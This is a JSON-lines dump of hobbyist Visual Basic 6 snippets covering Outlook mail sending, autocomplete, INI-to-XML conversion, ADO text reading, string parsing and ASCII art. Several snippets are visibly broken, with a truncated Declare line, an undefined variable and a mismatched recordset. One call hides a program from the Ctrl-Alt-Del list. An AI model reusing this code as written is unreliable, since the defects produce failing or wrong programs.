myRequest\n .Subject = strSubject\n .Body = strBody\n .To = \"anybody@anywhere.com\"\n .Send\n\n End With\n Set sbOLAPp = Nothing\nNext\nSet myOLApp = Nothing\nExit Sub\n"},{"WorldId":1,"id":22764,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14394,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14899,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11619,"LineNumber":1,"line":"Private Sub Textbox1_KeyUp(KeyCode As Integer, Shift As Integer)\nDim rsTable as ADODB.recordset\nSet rsTable = New ADODB.recordset\nOn Error GoTo ENDOFSUB\n rsTable.Open \"Select * from TABLE\", cn, adopenstatic, adlockoptomistic\n STRWORD = Me.textbox1.Text\n If Len(STRWORD) < INTPLACE Then\n INTPLACE = Len(STRWORD) - 1\n End If\n If KeyCode = vbKeyBack Or KeyCode = vbKeyLeft Then\n If INTPLACE > 0 Then\n INTPLACE = INTPLACE - 1\n STRWORD = Mid(STRWORD, 1, Len(STRWORD) - 1)\n End If\n ElseIf Me.textbox1.Text = \"\" Then\n INTPLACE = 0\n STRWORD = \"\"\n ElseIf KeyCode <> vbKeyDelete And KeyCode <> vbKeyShift Then\n INTPLACE = INTPLACE + 1\n STRWORD = STRWORD & Chr(KeyCode)\n End If\n rsTable.MoveFirst\n If Me.textbox1.Text <> \"\" Then\n Do While Not rsTable.EOF\n If Mid(Trim(rsTable!Field1), 1, INTPLACE) = UCase(Mid(Me.textbox1.Text, 1, INTPLACE)) Then\n Me.textbox1.Text = Trim(rsTable!Field1)\n Exit Do\n End If\n m_rsEmployee.MoveNext\n Loop\n End If\n If KeyCode <> vbKeyShift Then\n Me.textbox1.SelStart = INTPLACE\n Me.textbox1.SelLength = (Len(Me.textbox1.Text)) - INTPLACE\n End If\n Exit Sub\nENDOFSUB:\n Me.textbox1.Text = \"\"\n INTPLACE = 0\nEnd Sub"},{"WorldId":1,"id":11755,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11091,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14459,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14484,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12877,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12847,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12802,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28422,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25577,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11040,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14256,"LineNumber":1,"line":"Private Sub CreateDirectoryStruct(CreateThisPath As String)\n 'do initial check\n Dim ret As Boolean, temp$, ComputerName As String, IntoItCount As Integer, x%, WakeString As String\n Dim MadeIt As Integer\n If Dir$(CreateThisPath, vbDirectory) <> \"\" Then Exit Sub\n 'is this a network path?\n If Left$(CreateThisPath, 2) = \"\\\\\" Then ' this is a UNC NetworkPath\n 'must extract the machine name first, then get to the first folder\n IntoItCount = 3\n ComputerName = Mid$(CreateThisPath, IntoItCount, InStr(IntoItCount, CreateThisPath, \"\\\") - IntoItCount)\n IntoItCount = IntoItCount + Len(ComputerName) + 1\n IntoItCount = InStr(IntoItCount, CreateThisPath, \"\\\") + 1\n 'temp = Mid$(CreateThisPath, IntoItCount, x)\n Else ' this is a regular path\n IntoItCount = 4\n End If\n \n WakeString = Left$(CreateThisPath, IntoItCount - 1)\n 'start a loop through the CreateThisPath string\n Do\n x = InStr(IntoItCount, CreateThisPath, \"\\\")\n If x <> 0 Then\n x = x - IntoItCount\n temp = Mid$(CreateThisPath, IntoItCount, x)\n Else\n temp = Mid$(CreateThisPath, IntoItCount)\n End If\n IntoItCount = IntoItCount + Len(temp) + 1\n temp = WakeString + temp\n \n 'Create a directory if it doesn't already exist\n ret = (Dir$(temp, vbDirectory) <> \"\")\n If Not ret Then\n 'ret& = CreateDirectory(temp, Security)\n MkDir temp\n End If\n \n IntoItCount = IntoItCount 'track where we are in the string\n WakeString = Left$(CreateThisPath, IntoItCount - 1)\n Loop While WakeString <> CreateThisPath\n \nEnd Sub\n"},{"WorldId":1,"id":10703,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10982,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11714,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11715,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12737,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13269,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13663,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13482,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12989,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11696,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11557,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22766,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21486,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23476,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23394,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29802,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29866,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33111,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11808,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13613,"LineNumber":1,"line":"Private Sub Command1_Click()\n Dim intRadius, intDegree As Integer\n Dim sngX, sngY As Single\n \n If IsNumeric(Text1.Text) Then\n intRadius = Text1.Text\n For intDegree = 1 To 360\n sngX = (Cos(intDegree) * intRadius) + intRadius\n sngY = intRadius - (Sin(intDegree) * intRadius)\n Picture1.PSet (sngX, sngY), vbBlack\n Next\n Else\n MsgBox \"Please enter a numeric value for the radius.\"\n Text1.SetFocus\n End If\nEnd Sub\nPrivate Sub Command2_Click()\n Unload Form1\nEnd Sub\n"},{"WorldId":1,"id":21133,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24318,"LineNumber":1,"line":"Private Sub Form_Load()\n MsgBox IIf(FileIsOld(\"C:\\AutoExec.bat\"), \"The file is old\", \"The file is new\")\nEnd Sub\nFunction FileIsOld(ByRef pStrFilePath As String) As Boolean\n \n Dim llngMinutesOld As Long\n Dim ldtmLastModified As Date\n Dim llngFileAttr As VbFileAttribute\n \n Const llngMinutesOldAfter As Long = 10\n \n On Error Resume Next\n \n llngFileAttr = FileSystem.GetAttr(pStrFilePath)\n \n If Err Then\n MsgBox \"File does not exist.\"\n Exit Function ' file doesn't exist\n End If\n \n On Error GoTo 0\n \n If Len(FileSystem.Dir(pStrFilePath, llngFileAttr)) = 0 Then Exit Function\n \n ldtmLastModified = FileSystem.FileDateTime(pStrFilePath)\n \n llngMinutesOld = DateDiff(\"n\", ldtmLastModified, Now())\n \n FileIsOld = llngMinutesOld > pLngMinutesOldAfter\nEnd Function"},{"WorldId":1,"id":32841,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35086,"LineNumber":1,"line":"\nThe Image 2 Ascii converter allows you to load a photograph, and then generate\nan ascii image that looks simular to it. You can use this ascii version to post\na picture of your self on news groups, message boards, email signatures, and more.\nNo longer is text-only formatting a constraint for displaying photographs!\n\n\nResults are based on the Courier New font in 10 points. They can be displayed\nwith other font families as long as they are also a fixed width font such as \"Lucidia Console\".\nThis program has not been designed\naround other font-families luminancy and may not appear with accurate results.\n\n\nWorks best on small black & white images. However, it will work with color\nimages by getting the average lumanancy from each hue like so:\n\n<CENTER>\n(red + green + blue) / 3 = Average Lumanancy\n</CENTER>\n\nDue to the odd shapes of the characters used, larger images will appear\nbetter. However, these larger images will take more time to convert.\nI suggest sticking around a size of 100x100 pixels and then working\nfrom there. You may also notice that the final result appears ... tall\nand skinny. This is because the ratio of the characters used in the font\nare not the same as an individual pixel. To solve this problem, you may\nwant to streatch your image to be wider with a graphics editing program, \nor shorten the height.\n\nSample of results you may achieve\n<PRE style=\"Font-Family:Courier New;Font-size:6pt;text-align:center;\">\n `^{x$y00DyZ3&.` \n .?oPQRRmkQQQQRNqAy2]{~ \n {JRN#HHRRdq@NNH#NH#NNHkLi^` \n /mXN#NHNqR@N@HNHNH##NNNHNHqc}`` \n -4Xq##NHHHH#@NHRNN@NHH@N##M#Nq?~'' \n `ZqQH###HH####@@HNNHN#HH##MM###H8u(` \n `` :dqNNN#MNNM#M#N#NHNHMNNH##MMM#M#NRVl` \n `.-'''.$mQHH#####M#M####N@#MHNHNH##NHNHNHQX1` \n `-&?IdT3Jbq###M####M#MMMMMMHMMNN#HMMHqRH@HNNN@O{` \n &+j6eP@@XkRN#N#M#M#M##MMMMM#MMM#NNNMHQR8k@N##M#N@z` \n ':tnkqXdRNH@H##H#M####M##MM#M#MM###HM#N@qqQ#M##MMM##L. \n .{1Obqqm8RHNHHM####H##M########MM#NH####HNHNMMM#M#MMM#b. \n ` .';$8QNRdQq@##MMN##NH#####N##MNNMM#H#M####M##M#MMMMMM#M#: \n '?1JXN@NNQNQN####HNHNH##NHHHNNH@@N##NHM#M#MMMMMMMMMMMMMM#A_ \n `:xu8NHN@@q@HN##HHkAAq@QHHNqqqQkbmQHHNN##M##M#MMMMMMMMMMMM#L \n '}20HHQ@HqR@#HHQf$i*+3TGXqk0wsJ2jI6ekXQNNHHNHN##MMMMMMM#M##m. \n .{vbN@NNNq8NH##@O?:-,&:+2ZsIo[?:;};*C$6VAb8kkRqq@###MMMMMMM#Ht \n !*DR@QNN@RQN##NF/'``'`'~_};&_^.`''.^:{)%?l[3L6sbmmN#MMMMMMM#NN& \n :IH@RN#NHqHH##A+''`````````.` ````''.-^^_;>?CuTV8m@#MMMM##NHJ \n `*kNN@##NHQH##R%!```` ` ```..&%2LZVqNMMMMMM#HR` \n `xHHHH##H@NHMHo&`` ` `.:%3JVR#MMMM##HHz` \n O#NN#MM#QQNHXl..``` ``',:ljFH#MMMHQHRHi \n 'd#N##MM#RqNHn<.'.` `..'^)$8HMMMNQqq#J \n +RNHMM###HRHqx~..'`` `.``.)6Q##M#@QRH6 \n x@NN##MM#HRQXJ,''''` ```''&%5HMM#HNRRD` \n O@@#MMMM#HQQP1&''```` `` ````',<uRH##@QNRX& \n yqHMMMMM#RQRel;!.'..`` ``.^:7FQNN@qN@QZ \n bNNMM##MMHRfGj)&..''``` ``.^{7ydR@N@H@QX' \n mH#M#MM##NkFT1*&''.```` ```` ``',}]08QRHNN@RQ^ \n qN#MM#MM#@RXZol&!'`'` ` `` ``.~;t0qHHHHHQQQ/ \n HNH###M#M@RXOxi}~'.'``` ```'.:+5qHNHHNNQqv \n qHN#M##M#HQdnJ7?&~'!.`` ```':*6qHNN#NHNQJ \n @H###M#M#HR8O6o*&~!-'`` `.''{%xXH#H#HHH85 \n HHH#M#M##N@ddVx/_!-''` ```'{?zRN####NHRw \n @#N##M##NNRmQDz;&^'.`` ``` ` ``````````'.:iumN####NHQ4` \n d##HMM##NNqQQst}:&.` ``.`.``'.``` ````.`'''''.~~''&ioPHM##HNNQf` \n m##NH###HNH@kZi\\}&,'`.-,^_:}::--,'.` ```..~&:(+%i?%i[*?+lvONMM#HN#@Y. \n b##M##MHNNHN8I*}:{;{/?l*[JTYuVu3?&^.'.'.&:*7Luo$sb4y6esy$2od##M#NHNx \n nMM#M######Hy+<%l13CJzL4DkNHRRqfL>&-`'._(iLfd8d8qRRd8f4f0u7wH#M#NNqO` \n 3##########@$??tCx6nsPbmQRHHNNQR5o%_''~{tL0qqR8qQXdAP6ZnALrI@#NH@@me. \n \\#####N###HQJ??tJ$edPF0XXXQRqqRqm6t&,'^}c68RqXdd8DwwOTuGYLx2RNM#H@kV' \n _NH###N#M#Hd](*uOOFDDXkAmmQQH@QRkTl&''.:j4kqQR@@@RkfsZ2Z$J1vfN##NNR$ \n .R##M####HNw*>%uf0bbdQRQ@RQHdRqRRP?.` `~CFkqQXHHH8emQkeL$3++6N##@RRz \n XMN####HHqY?<?Lf88dQRQRH@HqGk@Rqf*' .jAdddFmq@w28QQdVZ2+*IQ##@kRI \n C#HNH#HHNRv<;*LdmqQQqQRRRq808qmm5{. .[e8ddAfX84GD08bZLj?{rQNN@qNv \n .X#HNHHNNml{{*jL8QqQqddFDyefPkdbo&. `/ufAd8FAVZnTebs6o+;:iDHNqQH{ \n lMHH@HHNk*&&:\\%2sb8XPyYTZTOynbo}&.` `&[TAADP4TLLZwVOzc*:::GHNQRq. \n &NNH@q@Hwi:_-!&:+12Zu$x][++]tl;_,'` `_;*cCvr[[[jrzC%?;}_::uQ@qP3 \n ~NNNHHNqT]:~''..-~&:}:&-'..''''.'.` `^_.&::;}::_&&_&!'',_:7fXmO_ \n `RHNNqRmL%;,.''`''`'```.`'``.'..'`` `^&!'.'.,!''``.'''.!&:+ym$c: \n `yqQRRQRo?>:.''`.'.````````'.''.'. `._-.'.````'.```..'~_:*uT3v_ \n ]kdmkQbvl}:&^.'.`'``` ``'.,-,''` '~,-..`'``..`.''!-_{}?vrCr` \n _FyPkX6v%*/:,~''.'.````` `.'_&~.` `.&:..'`.'.``..',&:\\?*+rI% \n '$Gemkut]??{:__.'''''.``.``&}&'` ``~}_''``'..'.'.~:{\\*>*+r: \n ?wuPbo7[+*\\;}:!,!'`.'..'.,}}~'.``` `'^,^:!..`.''''^^-{}?*?*?i' \n _T$ZPu[7l[?\\}{&!.''`'`'..&|_^{?;&'':}{&~&&,'..'`.!^^_:\\*?***;. \n .uu5s$[[tv+?){_,''''.''~~:>{}3uYx**icJ1>>:_,.-''-!,_&{*%((*}' \n `xuu$Iouxvit[;}&,'^'''~~&:*vLXRQFLzJfqPJ?&~_^~~--__&:/?*/)?:` \n ;2vTOJJc]]+%*;&-~-!-^!&&&|OFkQQAZLz0d0O]-.~~-!!,&:::((|>?({ \n ![7$TIzo7]*??/:_~-^-&_&_'&6Fmk8fVuI08An['.'!&&&:&&}{;/??*\\: \n `\\?COo$u2j[1>/;:_&&&&&!.`'Jk88FnGLx$sGGC-`..-&::{{{;\\???i?~ \n &<oZ$x$JJr[>|?}:&_:&,'``'*DAXfT$L22$L$7&`.'-_{:{(;}**???;` \n `{ufZuLLJcjt+*?;;::&-...'{CxJTu$LoI$oz]},''-^{}{}\\/*??<: \n ~wmyuLLI2jr]l?>>\\:-'.,-.&_{\\*r$u2xIv]*:&!_,&{}}()>?***_ \n '8NPxLLxIoC7+*?>>:&&-:&~^..'!}tzJxcl?;:{{{:&;;??(%****! \n -mNquzLuJox21**%\\{|;:}}:,--;(?%]jxx3t{;|%?{;;{/?*l?*;?' \n '0NHeuZ$$TYuj7+i*?*(*l**?t$uJuyTTwwTuCt7v]*+*;{?***?}/' \n [NHP$uuY6uICv7+?%++[xun5AdfD8dm8mkPffDsw$v+*)<?+l+?>}` \n .dN8YYL$Y2Lotl*l[7jTym@R0GL**xICTYn5Dk8dTI%+???%l%*\\& \n {mqZOOY6TTLj[+1CJ$ydd0Toxl&&{:{[337vzIccC7+?|itl*(|' \n zHAuZnY66$oc111CLuzcc71jc%i?>7crj1%?|:{i[?i%+?*l?*' \n _]$YO4VVTOuIv11Coc*|%1cI$Lz2J$L2C%*{::}+c[+++**??; \n `:xZ6nwnOZLLrcxc*/}<l3zTwV54LY$C+*}};*[ICci[+++?' \n .cZ64V5TLLTLozi))\\?+1jLOsysOOI2C+?(*]3L2C]j]%r: \n .%6T5sZYY6O6uo1*****[c2LTneZ$jCC+*(/ijICv7tl?+^ \n `|O6Gb04VeTOZ$v7*)<)|<>*\\)/*+?*(*(*?*71rrt73[[. \n `}ZOwy50P4ee$IJ[i?):-___-.',---~:;(*l[[J1]]17l. \n &ZOsysFFbbGz2C+*\\}_.-_~.'.,'''.^:;>l17Irl[[%?' \n :Z5TnPfbDP6Juul?(::&,^,'...'-,!^:)?]1]Icj3t+?~ \n :YsYs0GefAOTYoc+*;<:~^~~^^~!&:__;?+r2cv1r7+l/! \n :oLOyY4ysy0bD63l%+l>|;{}){{::>\\;?[3cJ[v2jt%?}_. \n _2LYVYenfwPPfyOxIJC*1%tic7l+l?tj1tv23v2xj[i*};,` \n _uLDPyGPeY6ydd0FswYILTLLZ$Ix2zLLLCr2vjICrt**}{|. \n `\\2I6YTTenVDnyDDPFFVZe44YLZYTuL$$$zJoxcxI[+*?;;*& \n ;tcLOYOynFAkeTPbFFXfn4GnGTOOZYuLZx2Y$22IJ7+?*{{+{` \n `(jvoTyVVynyPPGPfw58F4DAADw4eGeywOO$LLjc3Ctti?<?l}. \n '?x3u6Z655Asf05GPsGAb4DFAywwwynwyGsuzuzrCrCt?\\/[7;- \n '?xIoLLYyPAAGGAfb8F0b0AA0n0seO5TL$LuLL2xC7]t+*?]*{-`` \n '{c$ILTnPDyA0bDFbeFb4VPD0P54YVsLLZLuozzIrt]+**[C+/&~,,..` \n .:[$22uY55Fb8FydfOwDnebeynwyZ4VYwZ6JJzzor3t+*|7o*&~!;:&_~''` \n .-\\zxuo$ZGf0AADbbAADyF4V45ese4ZZZ4ujxCxozv+?*?ct?:-,:{&_,^~.''`\n '^,:uZz$TY5eybF0DDAe5f0PyfAVDOY4ZuOOxIIort1t+*v$*/:,-:({:&&,'.'`\n ``.&:_:cZz$u$yGGA0Pfwe50F5AeD0VZZLnYOuOu2o2IC1ilioj*}_~}:}{:__-'.``\n `'-_:_:|LwuLYyTeAAwyGk0PAnwneOYu6u6$$Luu$2Cjt[+%zL1*;__?;}{}&_~.'``\n `''_)::&rnu6Z$w54eyVFDsPmDenwYGneZO$$Tuxxxccc]*tux\\};-:?}:;:&^.''` \n ```!t/;:*$O6OYT56ZGVFVf0005FwZTYY66$$LxoCvv1[]tIv+}::-}?::};&...`` \n ``-x<}:&(2O66OT66TOG5n0PsV5eV6LYOL$$uxzcvcvt1IL]*)}&_%<_:{}_.`` \n `~j\\{:&:rYTZYTuZYYT5s6OnGnOVZuYLxuLo2I]ccr32$2]*<{&;z*:::&''. \n ``j*;|_:*2eOLuLTOYs5n4yw6TY6Z$TJzzoz2C37[rxZJcl(){_[Z}&::_.'.`` \n '3[(?;:{lu6OLL$uLO46TsT6ZZZ$u$6Lux2zzrtvcT6zC?;;:_$x_:{_-'`'` \n</PRE>"},{"WorldId":1,"id":26016,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21876,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23067,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25143,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24373,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12438,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33088,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33960,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11857,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12097,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10783,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23526,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10796,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25268,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30098,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32476,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12192,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10683,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12757,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15076,"LineNumber":1,"line":"Option Explicit\n(ByVal lpAppName As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long\nPublic Function INI_to_XML(INIFile_IN As String, XMLFile_Out As String) As Boolean\n \n Dim iFile As Integer\n Dim oXMLDocument As New MSXML2.DOMDocument\n Dim oXMLBlock As MSXML2.IXMLDOMNode\n Dim oXMLSectionListBlock As MSXML2.IXMLDOMNode\n Dim oXMLSectionBlock As MSXML2.IXMLDOMNode\n Dim oXMLKeyListBlock As MSXML2.IXMLDOMNode\n Dim oXMLKeyBlock As MSXML2.IXMLDOMNode\n Dim oNode As MSXML2.IXMLDOMNode\n \n '-- Create Initial Blocks\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"INISchema\", \"\")\n Set oXMLBlock = oXMLDocument.appendChild(oNode)\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"SectionList\", \"\")\n Set oXMLSectionListBlock = oXMLBlock.appendChild(oNode)\n \n '-- Write a SectionList count tag and fill it in later\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"Count\", \"\")\n oXMLSectionListBlock.appendChild oNode\n \n '-- Loop through each line and find sections\n iFile = FreeFile\n Dim sWorking As String\n Dim iCount As Integer\n Open Trim(INIFile_IN) For Input As iFile\n Do Until EOF(iFile)\n Line Input #iFile, sWorking\n sWorking = Trim(sWorking)\n If Left$(sWorking, 1) = \"[\" And Right$(sWorking, 1) = \"]\" Then\n \n '-- Section Found Add to XML Document\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"Section\", \"\")\n Set oXMLSectionBlock = oXMLSectionListBlock.appendChild(oNode)\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"Name\", \"\")\n oNode.Text = Mid$(sWorking, 2, Len(sWorking) - 2)\n oXMLSectionBlock.appendChild oNode\n \n '-- Get keys from current Section\n Dim iRetCode As Integer\n Dim sBuf As String\n Dim sSize As String\n Dim sKeys As String\n sBuf = Space$(1024)\n sSize = Len(sBuf)\n iRetCode = GetPrivateProfileSection(oNode.Text, sBuf, sSize, INIFile_IN)\n If (sSize > 0) Then\n sKeys = Left$(sBuf, iRetCode)\n Dim arKeys() As String\n Dim sKey As String\n Dim sValue As String\n arKeys = Split(sKeys, vbNullChar)\n If Not isArrayEmpty(arKeys) Then\n '-- We have at least one Key so Build a KeyList Block\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"KeyList\", \"\")\n Set oXMLKeyListBlock = oXMLSectionBlock.appendChild(oNode)\n \n '-- Write a count tag and fill it in later\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"Count\", \"\")\n oXMLKeyListBlock.appendChild oNode\n \n For iCount = LBound(arKeys) To UBound(arKeys)\n If arKeys(iCount) <> \"\" Then\n If InStr(1, arKeys(iCount), \"=\") <> 0 Then\n sKey = Left$(arKeys(iCount), InStr(1, arKeys(iCount), \"=\") - 1)\n sValue = Right$(arKeys(iCount), Len(arKeys(iCount)) - InStr(1, arKeys(iCount), \"=\"))\n Else\n sKey = arKeys(iCount)\n sValue = \"\"\n End If\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"Key\", \"\")\n Set oXMLKeyBlock = oXMLKeyListBlock.appendChild(oNode)\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"Name\", \"\")\n oNode.Text = sKey\n oXMLKeyBlock.appendChild oNode\n Set oNode = oXMLDocument.createNode(NODE_ELEMENT, \"Value\", \"\")\n oNode.Text = sValue\n oXMLKeyBlock.appendChild oNode\n End If\n Next\n '-- Add the KeyList Count\n oXMLKeyListBlock.childNodes(0).Text = oXMLKeyListBlock.childNodes.length - 1\n End If\n Else\n sKeys = \"\"\n End If\n End If\n Loop\n '-- Add the SectionList Count \n oXMLSectionListBlock.childNodes(0).Text = oXMLSectionListBlock.childNodes.length - 1\n Close iFile\n oXMLDocument.save XMLFile_Out\n \nCleanup:\n Set oXMLDocument = Nothing\n Exit Function\nErr_Handler:\n INI_to_XML = False\n GoTo Cleanup\n \nEnd Function\nPrivate Function isArrayEmpty(arr As Variant) As Boolean\n Dim i\n isArrayEmpty = True\n On Error Resume Next\n i = UBound(arr) ' cause an error if array is empty\n If Err.Number > 0 Then Exit Function\n isArrayEmpty = False\nEnd Function\n\n"},{"WorldId":1,"id":14094,"LineNumber":1,"line":"Option Explicit\nDim oConn As New ADODB.Connection\nDim oRS As New ADODB.Recordset\nPrivate Sub Form_Load()\n oConn.Open \"Provider=Microsoft.Jet.OLEDB.4.0;\" _\n & \"Data Source=\" & App.Path & \";\" _\n & \"Extended Properties='text;FMT=Delimited'\"\n \n '-- Use Following connection string if text file doesn't have a header for field names\n 'oConn.Open \"Provider=Microsoft.Jet\" _\n & \".OLEDB.4.0;Data Source=\" & App.Path _\n & \";Extended Properties='text;HDR=NO;\" _\n & \"FMT=Delimited'\"\n \n Set oRS = oConn.Execute(\"Select * from Data.txt \")\n \n Dim ofield As ADODB.Field\n Do Until oRS.EOF\n For Each ofield In oRS.Fields\n Debug.Print \"Field Name = \" & ofield.Name & \" Field Value = \" & ofield.Value\n Next ofield\n oRS.MoveNext\n Loop\nEnd Sub"},{"WorldId":1,"id":14207,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24185,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33915,"LineNumber":1,"line":"Sub TestMe()\n 'Run this sub to demonstate how the parsing functions work.\n 'This is an example to show begining vb programmers how to parse strings\n 'quickly with out having to use mid/instr/right/left every time then need\n 'the next item in a string of items.\n \n 'Declare our working strings\n Dim myString As String\n Dim curShiz As String, curVar As String\n \n 'Declare our name containers\n Dim Name1 As String\n Dim Name2 As String, Name3 As String, Name4 As String\n \n myString = \"Tom,Debbie,Mark,Joanie\"\n \n 'Get tom\n curVar = GetFirstVar(myString)\n myString = GetRestOfVars(myString)\n Name1 = curVar\n \n 'Get Debbie\n curVar = GetFirstVar(myString)\n myString = GetRestOfVars(myString)\n Name2 = curVar\n \n 'Get MArk\n curVar = GetFirstVar(myString)\n myString = GetRestOfVars(myString)\n Name3 = curVar\n \n 'Get joanie\n curVar = GetFirstVar(myString)\n myString = GetRestOfVars(myString)\n Name4 = curVar\n \n MsgBox \"Name1 = \" & Name1\n MsgBox \"Name2 = \" & Name2\n MsgBox \"Name3 = \" & Name3\n MsgBox \"Name4 = \" & Name4\nEnd Sub\nPublic Function GetFirstVar(sStr As String)\n 'Given a string like: \"choad,flap,blah\"\n 'this returns \"choad\"\n f = InStr(1, sStr, \",\")\n If f = 0 Then\n GetFirstVar = sStr\n Else\n GetFirstVar = Left(sStr, f - 1)\n End If\nEnd Function\nPublic Function GetRestOfVars(sStr As String)\n 'Given a string like: \"choad,flap,blah\"\n 'this returns \"flap,blah\"\n f = InStr(1, sStr, \",\")\n GetRestOfVars = Right(sStr, Len(sStr) - f)\n \nEnd Function"},{"WorldId":1,"id":12707,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13711,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10977,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11784,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11756,"LineNumber":1,"line":"Private Sub Command1_Click()\n Call CycleText\nEnd Sub\nSub CycleText()\n Dim curPos As Integer, lineStart As Integer, n As Integer\n Dim finis As Boolean, breakLoop As Boolean, i As Integer\n Dim strArray() As String\n \n lineStart = 1\n curPos = 1\n n = 0\n finis = False\n breakLoop = False\n \n Do Until breakLoop\n curPos = InStr(lineStart, Form1.RichTextBox1.Text, vbCrLf, vbBinaryCompare)\n Form1.RichTextBox1.SelStart = lineStart - 1\n If curPos > 1 Then\n Form1.RichTextBox1.SelLength = curPos - lineStart\n Else\n Form1.RichTextBox1.SelLength = (Len(Form1.RichTextBox1.Text) + 1) - lineStart\n finis = True\n End If\n ReDim Preserve strArray(n) As String\n strArray(n) = Form1.RichTextBox1.SelText\n TimedPause 1\n If finis Then breakLoop = True\n n = n + 1\n lineStart = curPos + 2\n curPos = 1\n DoEvents\n Loop\n \n Call PutInListBox(strArray(), n - 1)\nEnd Sub\nSub PutInListBox(myArray, totalArray As Integer)\n Dim i As Integer, listCount As Integer\n listCount = 0\n For i = 0 To totalArray\n If Len(myArray(i)) Then\n List1.AddItem myArray(i), listCount\n listCount = listCount + 1\n End If\n Next i\nEnd Sub\nFunction TimedPause(secs As Long)\n Dim secStart As Variant\n Dim secNow As Variant\n Dim secDiff As Variant\n \n secStart = Format(Now(), \"mm/dd/yyyy hh:nn:ss AM/PM\")\n \n Do While secDiff < secs\n secNow = Format(Now(), \"mm/dd/yyyy hh:nn:ss AM/PM\")\n secDiff = DateDiff(\"s\", secStart, secNow)\n Loop\nEnd Function\n"},{"WorldId":1,"id":14792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10996,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11293,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13467,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13424,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11084,"LineNumber":1,"line":"'this stays on the form\nPrivate Sub cmdHide_Click()\n Dim C As New CtrlAltDel\n \n C.RemoveFromList 'this hide your application \n'from the list\nEnd Sub"},{"WorldId":1,"id":25686,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25724,"LineNumber":1,"line":"Private Sub ListView1_ColumnClick(ByVal ColumnHeader As MSComctlLib.ColumnHeader)\n ListView1.Sorted = True\n \n If ListView1.SortKey = ColumnHeader.Index - 1 Then\n If ListView1.SortOrder = lvwAscending Then\n ListView1.SortOrder = lvwDescending\n Else\n ListView1.SortOrder = lvwAscending\n End If\n \n Else\n 